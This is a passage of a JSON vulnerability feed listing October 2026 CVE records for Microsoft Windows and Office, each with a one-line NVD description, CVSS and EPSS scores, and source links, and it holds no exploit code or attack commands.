2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69354&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69354, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69326","cveId":"CVE-2026-69326","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Graphic Fonts allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Graphic Fonts allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Graphic Fonts allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:54.000Z","updatedAt":"2026-10-23T17:53:53.260Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69326","asOf":"2026-10-23T17:53:53.260Z"},"epss":{"probability":0.00768,"percentile":0.55269,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69326&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69326","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69326","type":"primary","publishedAt":"2026-10-13T19:18:54.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69326","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69326&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69326, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-68836","cveId":"CVE-2026-68836","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows kernel32.dll allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows kernel32.dll allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows kernel32.dll allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:53.820Z","updatedAt":"2026-10-23T17:54:17.510Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-68836","asOf":"2026-10-23T17:54:17.510Z"},"epss":{"probability":0.00379,"percentile":0.3158,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-68836&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-68836","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68836","type":"primary","publishedAt":"2026-10-13T19:18:53.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-68836","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-68836&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-68836, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-61931","cveId":"CVE-2026-61931","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Perception Simulation Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Perception Simulation Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Perception Simulation Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:53.153Z","updatedAt":"2026-10-26T16:46:22.947Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-61931","asOf":"2026-10-26T16:46:22.947Z"},"epss":{"probability":0.00388,"percentile":0.32605,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-61931&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-61931","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61931","type":"primary","publishedAt":"2026-10-13T19:18:53.153Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-61931","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61931&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-61931, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108396","cveId":"CVE-2026-108396","aliases":[],"kind":"vulnerability","title":"Time-of-check time-of-use (toctou) race condition in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.","summary":"Time-of-check time-of-use (toctou) race condition in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.","detail":"Time-of-check time-of-use (toctou) race condition in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:04.800Z","updatedAt":"2026-10-23T19:29:29.237Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108396","asOf":"2026-10-23T19:29:29.237Z"},"epss":{"probability":0.00214,"percentile":0.11661,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108396&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108396","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108396","type":"primary","publishedAt":"2026-10-13T19:18:04.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108396","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108396&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108396, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108136","cveId":"CVE-2026-108136","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:04.100Z","updatedAt":"2026-10-23T19:30:41.010Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108136","asOf":"2026-10-23T19:30:41.010Z"},"epss":{"probability":0.00365,"percentile":0.30068,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108136&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108136","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108136","type":"primary","publishedAt":"2026-10-13T19:18:04.100Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108136","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108136&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108136, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108135","cveId":"CVE-2026-108135","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in Windows Backup Engine allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in Windows Backup Engine allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in Windows Backup Engine allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:03.960Z","updatedAt":"2026-10-23T19:46:13.093Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","Microsoft Office","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108135","asOf":"2026-10-23T19:46:13.093Z"},"epss":{"probability":0.003,"percentile":0.22445,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108135&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108135","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108135","type":"primary","publishedAt":"2026-10-13T19:18:03.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108135","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108135&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108135, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108132","cveId":"CVE-2026-108132","aliases":[],"kind":"vulnerability","title":"Double free in Windows Kerberos allows an authorized attacker to elevate privileges locally.","summary":"Double free in Windows Kerberos allows an authorized attacker to elevate privileges locally.","detail":"Double free in Windows Kerberos allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:03.530Z","updatedAt":"2026-10-23T19:47:11.933Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108132","asOf":"2026-10-23T19:47:11.933Z"},"epss":{"probability":0.00279,"percentile":0.20193,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108132&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108132","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108132","type":"primary","publishedAt":"2026-10-13T19:18:03.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108132","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108132&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108132, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105723","cveId":"CVE-2026-105723","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows Distributed File System (DFS) allows an unauthorized attacker to elevate privileges over a network.","summary":"Untrusted pointer dereference in Windows Distributed File System (DFS) allows an unauthorized attacker to elevate privileges over a network.","detail":"Untrusted pointer dereference in Windows Distributed File System (DFS) allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:00.303Z","updatedAt":"2026-10-26T17:22:37.913Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105723","asOf":"2026-10-26T17:22:37.913Z"},"epss":{"probability":0.01301,"percentile":0.70257,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105723&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105723","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105723","type":"primary","publishedAt":"2026-10-13T19:18:00.303Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105723","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105723&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105723, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105722","cveId":"CVE-2026-105722","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:00.150Z","updatedAt":"2026-10-26T17:20:56.967Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105722","asOf":"2026-10-26T17:20:56.967Z"},"epss":{"probability":0.00286,"percentile":0.20923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105722&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105722","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105722","type":"primary","publishedAt":"2026-10-13T19:18:00.150Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105722","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105722&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105722, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105718","cveId":"CVE-2026-105718","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:59.750Z","updatedAt":"2026-10-15T21:17:05.700Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105718","asOf":"2026-10-15T21:17:05.700Z"},"epss":{"probability":0.00955,"percentile":0.61137,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105718&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105718","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105718","type":"primary","publishedAt":"2026-10-13T19:17:59.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105718","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105718&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105718, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105717","cveId":"CVE-2026-105717","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:59.617Z","updatedAt":"2026-10-15T15:24:06.703Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 